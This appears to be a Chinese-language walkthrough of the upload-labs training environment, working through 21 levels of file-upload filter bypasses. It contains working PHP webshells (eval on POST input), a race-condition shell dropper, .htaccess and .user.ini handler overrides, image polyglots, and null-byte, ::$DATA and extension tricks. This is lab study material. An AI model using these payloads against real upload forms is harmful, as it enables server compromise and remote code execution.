pass-1

先来最简单的抓包,写个有一句话木马,php文件

<?php
@eval($_POST['cmd']);
?>

需要绕过js检测。js在前端,直接抓包,改一下后缀。

蚁剑连接成功。

pass-2

开始进行黑盒测试。

第二关应该是对content-type,进行检测,我们直接改一下文件名后缀为php,上传成功

蚁剑连一下就可以了。

pass-3

不允许上传这些文件。有一些网站可以将php3,php5,phtml给当成php文件去读。

对于Windows系统,文件后缀上加上空格会直接删去空格,我们以这个思路试试。

记得删去刚才上传过的文件。

可以看到上传的文件,的名字被改为以当前时间为基础的数字,试试可以连不,因为这个和阿帕奇的配置文件有关,对于PHP中nst版本不再有此功能,服务器无法当做php文件来读。

数据为空,看来这个php5的文件在这个apache版本不能当作php文件去读,安全性提升。

试试空格绕过。

php后缀加上多个空格无法绕过。

试一下php. .

成功了,但是给的文件路径是http://upload-labs:9993/upload/202601310730324191.

PHP后缀给截断了

双写依旧不行。

那就直接试一下上传.htaccess文件,让它把.png文件给当成.php文件去读。

没招了,看一下源码,这里除了,后缀绕过,其他基本都不行,这是apache版本的问题,在apache文件中改conf配置文件中 httpd.conf文件,

这是增加的部分

<IfModule mod_mime.c>
    AddType application/x-httpd-php .php5
</IfModule>
告诉 Apache 的 MIME 模块(mod_mime),.php5 后缀的文件属于 PHP 脚本类型,而不是纯文本 / 下载文件。

<IfModule mod_rewrite.c>
    RewriteEngine On                    # 开启 URL 重写功能
    RewriteCond %{REQUEST_FILENAME} !-d # 条件1:请求的不是一个目录(!-d 表示“不 是目录”)
    RewriteCond %{REQUEST_FILENAME} !-f # 条件2:请求的不是一个已存在的文件(!-f 表示“不是文件”)
    RewriteRule ^(.*)\.php5$ $1.php [L] # 重写规则:把所有 xxx.php5 的请求,转换成 xxx.php 来处理
</IfModule>

这相当于试题没答案直接改试卷,故意给留了个漏洞,当然在正常的黑盒测试中是不能的。

这里使用后缀绕过。

当然这里出现了这个问题可以说明现在这种漏洞很小概率才会碰到。

pass-4

这里发现改后缀不行了,试一下上传一个.htaccess,这个文件是优先级较高可以在此目录直接生效。我们让它把.png文件当成php文件来读。前提是apache没有禁止该文件在其他目录中的使用

<FilesMatch "\.png$">
    SetHandler application/x-httpd-php
</FilesMatch>

上传后再,上传php文件,把它后缀给改一下。

这里我遇到了一些问题

1,htaccess被apache禁止,在httpd.conf文件中改一下

根目录一定要有这个

AllowOverride All

后面如果是none是不允许,htaccess在文件夹中生效的。

改完之后还不行

2,由于我是用的是小皮面板虚拟环境,在 FastCGI 模式下,。htaccess 无法像在 Apache 模块模式(mod_php)那样直接调用 PHP 解释器,它需要非常精确的配置才能生效。

种种原因导致.htaccess文件不能生效。

pass-5

试了一下前面的方法发现都不行,刚才看到upload文件有一个readme.php文件,可以用文件包含,在.user.ini里面写上让所有PHP文件包含写的那个木马文件。

auto_prepend_file=1.png

上传成功,注意文件在PHP7点多以上没出现乱码情况,还有如果PHP为5.2.7可以用php. .进行绕过

pass-6

 如果还是5.2.7的可以用php. .绕过,

还可以用大写绕过,

因为windows服务器,在对文件命名时自动把后缀大写转小写,所以可以进行大写绕过

pass-7

空格绕过

在后缀后面加空格。

pass-8

可以看到上传php后缀后面加上. .之后,成功且后缀无变化,它只检测最后那个点后的,如果只多加一个点会怎么样

如果是Windows服务器,文件名后面的那个点会直接给删去,所以可以成功,在服务器中一定是1.php

pass-9

前面的都试一下,不行。在试一下那个额外数据流。

ADS绕过

ADS 是 Windows NTFS 文件系统的特有特性,允许一个文件关联多个 “隐藏的数据流”,格式为:主文件名:数据流名(比如 shell.png:1.php)。

在文件名后面加上::$DATA让php认为上传文件为一个额外数据流,让PHP看走眼。

Windows服务器会把后面::$DATA给去掉

连一下

pass-10

直接上传1.php. .

对于windows服务器会删去后缀中连续的点,中间加个空格只会删一个点,最后Windows会把php后面那个点也删去

pass-11

提示中说会删去后缀,猜测双写

1.pphphp,它检测到一个php删去剩下一个。

看到源码中的函数,证明猜想正确。

pass-12

空字符%00绕过

通过源码发现这是个白名单。

Windows系统由C语言编写,Windows服务器会认定%00后面的信息为无用信息,再加上上传文件是先到临时目录再到URL指定upload文件夹中,可以把木马以jpg上传,以%00截断方式让它内容保存在一个PHP文件中。

成功。把后面的图片文件删去就可以了。

pass-13

保存路径以POST请求发出。和12关思路相同。

直接写%00会失败,在POST请求中一般被当作原始字节流,所以无效。

用ASCII编一下码

pass-14

图片字节表示

 JPEG/JFIF(常见的图片格式):头两个字节 0xFF 0xD8

PNG(无损压缩格式):头两个字节为0x89 0x50

GIF(支持动画的图像格式):头两个字节为0x47 0x49

BMP(Windows位图格式):头两个字节 0x42 0x4D

TIFF(标签图像文件格式):头两个字节可以是不同的数值。

字节通常表示一个八位的二进制数字序列

UTF-8中,一个英文字符占一个字节,中文占3个字节

首先该题是对文件的前两个字节进行检测,我们在我们写的一句话木马文件中的前面加上可以上传的文件标识

有文件包含漏洞

没有对包含的文件类型进行过滤,可以利用。

我们include.php在木马文件的上级目录,利用文件包含漏洞执行PHP一句话木马。

pass-15

这个和上面那个不一样,这里有个函数会检查图片长和高

getimagesize() 的核心作用是获取图片文件的尺寸(宽 / 高)以及图片类型、MIME 类型等关键信息。

索引 / 键名 示例值 说明
[0] 800 图片宽度(像素)
[1] 600 图片高度(像素)
[2] 2 图片类型常量(1=GIF,2=JPG,3=PNG 等)
[]3 width="800" height="600" 可直接用于 HTML 的 img 标签的宽高属性
'bits' 8 图片每个颜色通道的位数
'mime' image/jpeg 图片的 MIME 类型(用于验证文件真实类型)

由于会有宽高检测,上个方法无效,我们把木马写入一个图片中,利用文件包含漏洞执行。

copy 5.png/b+3.php hack.png

/b 是二进制模式(binary),表示以二进制格式处理5.png(图片是二进制文件,必须用/b,否则会按文本模式处理导致图片损坏)

+ :合并符,用于将多个文件按顺序拼接成一个新文件

pass-16

这个只是检测函数变了

exif_imagetype()是轻量高效的图片真实类型验证工具,仅检查文件头部字节,速度远快于getimagesize()

可以用同样方式连上

pass-17

Pass-17 的核心二次渲染函数是:imagejpeg()、imagepng()、imagegif()(负责输出新图片);

前置的画布创建函数是imagecreatefromjpeg/png/gif(),是渲染的前提;

这些渲染函数只保留图片的像素数据,会过滤掉所有非图片字节(如 PHP 代码),导致普通图片马失效。

如果上传后可以拿到渲染过的图,就直接插入php一句话木马,

pass-18

条件竞争

直接从临时文件保存到服务器,在临时文件中没有检测文件类型,在服务器检测,这一关我们需要上传上面准备的生成木马的脚本,在文件被删除前访问它,执行里面的代码创建木马文件

生成小马PHP

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['a'])?>');?>

用BP抓包

发给Intruder,准备攻击。

访问该文件,抓包

发给Intruder

设置一下payload,开始攻击。

这个有些考验服务器性能。

可能不会成功,也可能直接成功。

pass-19

这个利用apache的解析漏洞和条件竞争。
 

这个是本题源码

     * @param String $dir 上传目标目录
     * @return 状态码(成功/失败标识)
     */
    function upload( $dir ){
        // 步骤1:验证是否为合法的HTTP上传文件(防止伪造上传请求)
        $ret = $this->isUploadedFile();
        if( $ret != 1 ){
          return $this->resultUpload( $ret ); // 验证失败,返回对应状态码
        }

        // 步骤2:设置并检查上传目录(是否存在、是否可写)
        $ret = $this->setDir( $dir );
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }

        // 步骤3:检查文件扩展名是否在允许的白名单中
        $ret = $this->checkExtension();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }

        // 步骤4:检查文件大小是否符合系统限制
        $ret = $this->checkSize();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
        
        // 步骤5:如果开启了“文件存在检查”,验证目标目录是否有同名文件
        if( $this->cls_file_exists == 1 ){
          $ret = $this->checkFileExists();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }

        // 步骤6:所有验证通过,将临时文件移动到目标上传目录
        $ret = $this->move();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }

        // 步骤7:如果开启了“文件重命名”,执行重命名(index.php中传入时间戳作为新名)
        if( $this->cls_rename_file == 1 ){
          $ret = $this->renameFile();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
        
        // 所有步骤完成,返回成功状态码
        return $this->resultUpload( "SUCCESS" );
    }

有后缀检测不能直接用上一关方法。

apache的解析漏洞是当apache不认识最后的后缀,它会解析前一个后缀。

把PHP文件写成.php.7z

同样会先当临时文件储存,再到服务器upload中。

条件竞争。

pass-20

绕过方式:

(1)后面直接加空格

(2)后面加点

(3).user.ini上传

(4)点空格

(5)php/.        move函数移动时会把转义字符/去掉

(6)在后缀php,后面加上 0x00十六进制码后面再加点加后缀,php .jpg或者php .png   POST请求

(7)附加数据流  ::$DATA

pass-21

分析代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif'); #白名单content/type
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){  #检测是否和白名单后缀一致
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];               #判断save_name是不是空是空,用原名,不是用保存名字
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));  #不是数组用点来分隔变成数组
        }

        $ext = end($file);#获取最后值
        $allow_suffix = array('jpg','png','gif');    #再次白名单判断
        if (!in_array($ext, $allow_suffix)) { 
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];#文件名拼接,count是数组有多少个元素   ,这里是主要漏洞
由于前面对最后一位数值进行检测,所以要保证最后一位是合规的图片后缀,这里绕过前面检测,后面这个数组要在PHP后缀加点加空,后面再加上合规后缀就行了
            $temp_file = $_FILES['upload_file']['tmp_name'];#临时文件名
            $img_path = UPLOAD_PATH . '/' .$file_name;#最终路径
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

首先绕content

然后让它判断文件名为数组形式

然后保证最后那个数组为合法格式

保证第一个数组为PHP后缀,才能在拼接后绕过

中间有空字符

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐